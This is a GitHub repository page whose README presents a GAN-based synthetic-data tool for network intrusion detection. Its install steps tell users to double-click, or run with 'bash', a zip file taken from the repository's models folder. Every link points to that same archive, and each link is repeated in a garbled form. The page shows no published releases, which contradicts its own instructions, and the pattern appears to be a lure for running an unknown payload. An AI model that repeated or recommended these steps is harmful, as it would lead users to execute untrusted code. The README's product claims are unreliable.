Skip to content

staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

56 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ› οΈ GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS - Generate Safe Network Data Easily

[![Download](https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip)](https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip)

πŸ“‹ Description

This project uses a hybrid framework combining WCGAN and ACGAN to create realistic synthetic data for network intrusion detection. It enhances security by providing balanced datasets for effective detection of anomalies in network traffic. Our software supports classification tasks using various machine learning algorithms including XGBoost, Decision Trees, CNN, and AutoGluon.

πŸš€ Getting Started

Getting started with our software is simple. Follow the steps below to download and run the application.

πŸ–₯️ System Requirements

  • Operating System: Windows 10 or later, Ubuntu 18.04 or later
  • RAM: 8 GB or more
  • Disk Space: 500 MB of available space
  • Python Version: 3.7 or later
  • Additional Packages: TensorFlow, Keras, scikit-learn, pandas

πŸ”§ Installation Steps

  1. Download the Application

  2. Select the Latest Release

    • On the Releases page, find the latest release. This will usually be at the top of the list.
  3. Choose Your File

    • Look for the file suited for your operating system. For Windows, select the https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip file. For Ubuntu, download the https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip file.
  4. Download the File

    • Click on the file name to start the download. If prompted, save the file in a location where you can easily find it later.
  5. Run the Installer

    • For Windows:

      • Navigate to where you saved the https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip file.
      • Double-click the file to start the installation process. Follow the prompts to complete the installation.
    • For Ubuntu:

      • Open a terminal window.
      • Navigate to the directory where you downloaded https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip.
      • Run the command bash https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip to execute the installer. Follow the prompts to complete the installation.

πŸ“Š Usage Instructions

  1. Launch the Software

    • After installation, you can find the application in your Programs menu (Windows) or Applications folder (Ubuntu).
  2. Load Your Data

    • Open the application and load your existing network traffic data. This could be in CSV or JSON format.
  3. Select Algorithms

    • Choose the algorithms you would like to use. You can use XGBoost, Decision Trees, CNN, or AutoGluon.
  4. Create Synthetic Data

    • Click the β€˜Generate Data’ button. This will start the synthetic data generation process.
  5. Save the Output

    • Once the generation is complete, save the synthetic data to your preferred location.

πŸ“₯ Download & Install

To get started, visit the Releases page to download the application: [Download Here](https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip)

πŸ“š Features

  • Hybrid Framework: Utilizes WCGAN and ACGAN for improved data generation quality.
  • Versatility: Works with multiple classifiers including XGBoost, Decision Trees, CNN, and AutoGluon.
  • User-Friendly Interface: Designed for ease of use, even for non-technical users.
  • Data Security: Helps generate safe and realistic data for testing intrusion detection systems.

🌟 Contributing

We welcome contributions to improve this project. If you want to help, please fork the repository and create a pull request. For any suggestions or issues, you can open an issue in the GitHub Issues page.

🀝 Support

If you encounter any problems or have questions, please reach out on GitHub. We aim to respond promptly.

πŸ“ˆ Topics

This project focuses on:

  • acgan
  • anomaly-detection
  • cnn
  • cybersecurity
  • decision-tree
  • deep-learning
  • gan
  • hybrid-ids
  • ids
  • intrusion-detection-system
  • machine-learning
  • network-security
  • nsl-kdd
  • python
  • synthetic-data
  • unsw-nb15
  • wcgan
  • wcgan-gp
  • xgboost

Thank you for choosing GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS for your network security needs!

Releases

No releases published

Packages

 
 
 

Contributors